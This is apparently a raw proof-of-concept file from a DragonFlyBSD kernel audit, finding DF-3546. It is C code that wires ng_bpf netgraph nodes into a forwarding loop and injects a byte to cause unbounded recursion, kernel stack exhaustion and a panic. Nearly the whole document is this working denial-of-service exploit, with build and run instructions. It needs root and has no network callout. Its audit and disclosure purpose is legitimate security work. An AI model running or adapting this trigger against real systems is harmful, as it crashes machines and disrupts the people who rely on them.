⬢ DragonFlyBSD Kernel Audit
DF-3546 / ng_cycle_v1.c
← back to finding ↓ download raw
/*
 * DF-3546 trigger -- netgraph (v1) ng_bpf: cyclic ifMatch/ifNotMatch
 * forwarding + v1's synchronous, hop-unbounded ng_send_data() =>
 * unbounded C recursion in the write() syscall context => kernel
 * thread stack exhaustion => panic.
 *
 * This is the v1 twin of DF-3540 (ng7). Failure mode differs: v1
 * netgraph has NO per-node LWKT tokens (only crit_enter()), so there is
 * no token-array tripwire -- the recursion simply runs the kernel
 * thread's kstack off the end.
 *
 * modes:
 *   self  : two ng_bpf nodes, B1.x1 <-> B2.y1, both progs ifMatch ==
 *           thisHook (echo-on-arrival-hook is what lets the packet stay
 *           in the pair); injection via B1.x2.
 *   cross : three-hook cycle with NO self-reference
 *           (B1.e ->ifMatch-> B1.p <-> B2.q ->ifMatch-> B2.s <-> B1.r
 *            ->ifMatch-> B1.p ...).
 *
 * v1 user ABI (sys/netgraph/ng_message.h, NG_VERSION 2):
 *   header: version(1) spare(1) arglen(u16) flags(u32) token(u32)
 *           typecookie(u32) cmd(u32) cmdstr[32]   (52 bytes)
 *   AF_NETGRAPH 32, NG_CONTROL 2, NG_DATA 1
 *   NGM_GENERIC_COOKIE 851672668 (MKPEER=2 CONNECT=3 NAME=4)
 *   NGM_BPF_COOKIE 944100792 (SET_PROGRAM=1)
 * Control messages are executed synchronously by ngc_send() ->
 * ng_send_msg() -> CALL_MSG_HANDLER, so errors arrive as errno.
 *
 * Build:  cc -O2 -o ng_cycle_v1 ng_cycle_v1.c
 * Run (root, kldload v1 netgraph.ko ng_socket.ko ng_bpf.ko):
 *   ./ng_cycle_v1 self|cross
 * Expected: kernel panic (stack exhaustion) while in sendto(); console
 * shows fatal kernel trap / double fault in deep ng_bpf_rcvdata /
 * ng_send_data recursion; guest goes down.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define AF_NG			32
#define NG_CONTROL		2
#define NG_DATA			1
#define NG_VERSION		2
#define GEN_COOKIE		851672668	/* NGM_GENERIC_COOKIE (v1) */
#define BPF_COOKIE		944100792	/* NGM_BPF_COOKIE */
#define NGM_NAME		4
#define NGM_MKPEER		2
#define NGM_CONNECT		3

#define NG_TYPESIZ		32
#define NG_HOOKSIZ		32
#define NG_NODESIZ		32
#define NG_PATHSIZ		512

/* struct ng_mesg header, v1 layout (52 bytes) */
struct ngm_hdr_ {
	u_char		version;
	u_char		spare;
	u_int16_t	arglen;
	u_int32_t	flags;
	u_int32_t	token;
	u_int32_t	typecookie;
	u_int32_t	cmd;
	u_char		cmdstr[32];
};
struct ng_mesg_ { struct ngm_hdr_ header; char data[2048]; };

struct ngm_mkpeer_ {
	char type[NG_TYPESIZ];
	char ourhook[NG_HOOKSIZ];
	char peerhook[NG_HOOKSIZ];
};
struct ngm_name_  { char name[NG_NODESIZ]; };
struct ngm_connect_ {
	char path[NG_PATHSIZ];
	char ourhook[NG_HOOKSIZ];
	char peerhook[NG_HOOKSIZ];
};

/* DFly sa_family_t is __uint8_t: sg_len@0, sg_family@1, sg_data@2 */
struct sockaddr_ng_ { u_char sg_len; u_char sg_family; char sg_data[64]; };

/* struct ng_bpf_hookprog wire layout (v1 == ng7 here) */
struct bpf_insn_ { u_short code; u_char jt, jf; u_int32_t k; };
struct hookprog_ {
	char	thisHook[NG_HOOKSIZ];		/*  0 */
	char	ifMatch[NG_HOOKSIZ];		/* 32 */
	char	ifNotMatch[NG_HOOKSIZ];		/* 64 */
	int32_t	bpf_prog_len;			/* 96 */
	struct bpf_insn_ insns[8];		/* 100 */
};
#define HOOKPROG_HDR		100
#define BPF_RET_K		0x06

static u_int32_t tok = 0x4200;

static int
ngc(int cs, const char *path, u_int cookie, u_int cmd,
    const void *arg, size_t arglen)
{
	struct ng_mesg_ m;
	struct sockaddr_ng_ sa;
	ssize_t n;

	memset(&m, 0, sizeof(m));
	m.header.version = NG_VERSION;
	m.header.arglen = arglen;
	m.header.token = ++tok;
	m.header.typecookie = cookie;
	m.header.cmd = cmd;
	if (arglen)
		memcpy(m.data, arg, arglen);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path);
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;

	n = sendto(cs, &m, sizeof(m.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	if (n < 0)
		return (-1);
	return (0);
}

static int
setprog(int cs, const char *nodepath, const char *thisHook,
    const char *ifMatch)
{
	struct hookprog_ hp;
	char arg[160];
	int arglen;

	memset(&hp, 0, sizeof(hp));
	snprintf(hp.thisHook, sizeof(hp.thisHook), "%s", thisHook);
	snprintf(hp.ifMatch, sizeof(hp.ifMatch), "%s", ifMatch);
	snprintf(hp.ifNotMatch, sizeof(hp.ifNotMatch), "%s", "");
	hp.bpf_prog_len = 1;
	hp.insns[0].code = BPF_RET_K;
	hp.insns[0].jt = hp.insns[0].jf = 0;
	hp.insns[0].k = 0xffff;		/* match: return 65535 > 0 */

	arglen = HOOKPROG_HDR + 8 * hp.bpf_prog_len; /* NG_BPF_HOOKPROG_SIZE(1) */
	memcpy(arg, &hp, arglen);

	if (ngc(cs, nodepath, BPF_COOKIE, 1 /* NGM_BPF_SET_PROGRAM */,
	    arg, arglen) < 0) {
		printf("SET_PROGRAM %s(%s->%s) FAILED errno=%d (%s)\n",
		    nodepath, thisHook, ifMatch, errno, strerror(errno));
		fflush(stdout);
		return (-1);
	}
	printf("SET_PROGRAM %s: thisHook=%s ifMatch=%s ok\n",
	    nodepath, thisHook, ifMatch);
	fflush(stdout);
	return (0);
}

static void
mkpeer(int cs, const char *path, const char *type,
    const char *ourhook, const char *peerhook)
{
	struct ngm_mkpeer_ mkp;

	memset(&mkp, 0, sizeof(mkp));
	strlcpy(mkp.type, type, sizeof(mkp.type));
	strlcpy(mkp.ourhook, ourhook, sizeof(mkp.ourhook));
	strlcpy(mkp.peerhook, peerhook, sizeof(mkp.peerhook));
	if (ngc(cs, path, GEN_COOKIE, NGM_MKPEER, &mkp, sizeof(mkp)) < 0) {
		printf("RESULT mkpeer(%s,%s,%s) errno=%d (%s)\n",
		    path, ourhook, peerhook, errno, strerror(errno));
		exit(1);
	}
}

int
main(int argc, char **argv)
{
	struct ngm_name_ nm;
	struct ngm_connect_ con;
	struct sockaddr_ng_ sa;
	const char *mode = (argc > 1) ? argv[1] : "self";
	int cs, ds;

	printf("ng_cycle_v1: uid=%d mode=%s\n", getuid(), mode);
	fflush(stdout);

	cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL);
	if (cs < 0) {
		printf("RESULT control-socket errno=%d (%s)\n",
		    errno, strerror(errno));
		if (errno == EPERM)
			printf("RESULT unpriv-gated: v1 ngc_attach "
			    "caps_priv_check -> EPERM (root-only trigger)\n");
		exit(0);
	}

	/* name our socket node so the data socket can find it */
	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, "bpcyc", sizeof(nm.name));
	if (ngc(cs, ".", GEN_COOKIE, NGM_NAME, &nm, sizeof(nm)) < 0)
		printf("STEP name failed errno=%d (continuing)\n", errno);
	fflush(stdout);

	/* v1 control messages are synchronous: graph is built when
	 * the sendto() calls below return. */
	if (strcmp(mode, "cross") == 0) {
		/* C.in <-> B1.e ; B1.p <-> B2.q ; B1.r <-> B2.s */
		mkpeer(cs, ".",   "bpf", "in", "e");
		mkpeer(cs, "in",  "bpf", "p", "q");
		memset(&con, 0, sizeof(con));
		strlcpy(con.path, "p", sizeof(con.path));	/* B1.hook p -> B2 */
		strlcpy(con.ourhook, "r", sizeof(con.ourhook));
		strlcpy(con.peerhook, "s", sizeof(con.peerhook));
		if (ngc(cs, "in", GEN_COOKIE, NGM_CONNECT,
		    &con, sizeof(con)) < 0) {
			printf("RESULT connect errno=%d (%s)\n",
			    errno, strerror(errno));
			exit(1);
		}
		/* loop: B1.r -ifMatch-> B1.p -peer-> B2.q -ifMatch-> B2.s
		 *       -peer-> B1.r ...  */
		if (setprog(cs, "in",   "e", "p") < 0) exit(1);
		if (setprog(cs, "in",   "r", "p") < 0) exit(1);
		if (setprog(cs, "in.p", "q", "s") < 0) exit(1);
	} else {
		/* C.in <-> B1.x2 ; B1.x1 <-> B2.y1 */
		mkpeer(cs, ".",  "bpf", "in", "x2");
		mkpeer(cs, "in", "bpf", "x1", "y1");
		/* both loop hooks self-referential: ifMatch == thisHook */
		if (setprog(cs, "in",   "x2", "x1") < 0) exit(1);
		if (setprog(cs, "in",   "x1", "x1") < 0) exit(1);
		if (setprog(cs, "in.x1", "y1", "y1") < 0) exit(1);
	}

	ds = socket(AF_NG, SOCK_DGRAM, NG_DATA);
	if (ds < 0) {
		printf("RESULT data-socket errno=%d\n", errno);
		exit(1);
	}
	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strlcpy(sa.sg_data, "bpcyc:", sizeof(sa.sg_data));
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
		printf("RESULT data-connect errno=%d (%s)\n",
		    errno, strerror(errno));
		exit(1);
	}
	printf("STEP graph built (v1 control msgs synchronous), "
	    "injecting 1 byte ...\n");
	fflush(stdout);

	memset(&sa, 0, sizeof(sa));
	sa.sg_family = AF_NG;
	strlcpy(sa.sg_data, "in", sizeof(sa.sg_data));
	sa.sg_len = 2 + strlen(sa.sg_data) + 1;
	if (sendto(ds, "X", 1, 0, (struct sockaddr *)&sa, sa.sg_len) < 0)
		printf("STEP sendto errno=%d (%s)\n", errno, strerror(errno));
	else
		printf("STEP sendto ok\n");
	fflush(stdout);

	sleep(30);
	printf("RESULT no-panic survived 30s (mode=%s)\n", mode);
	return (0);
}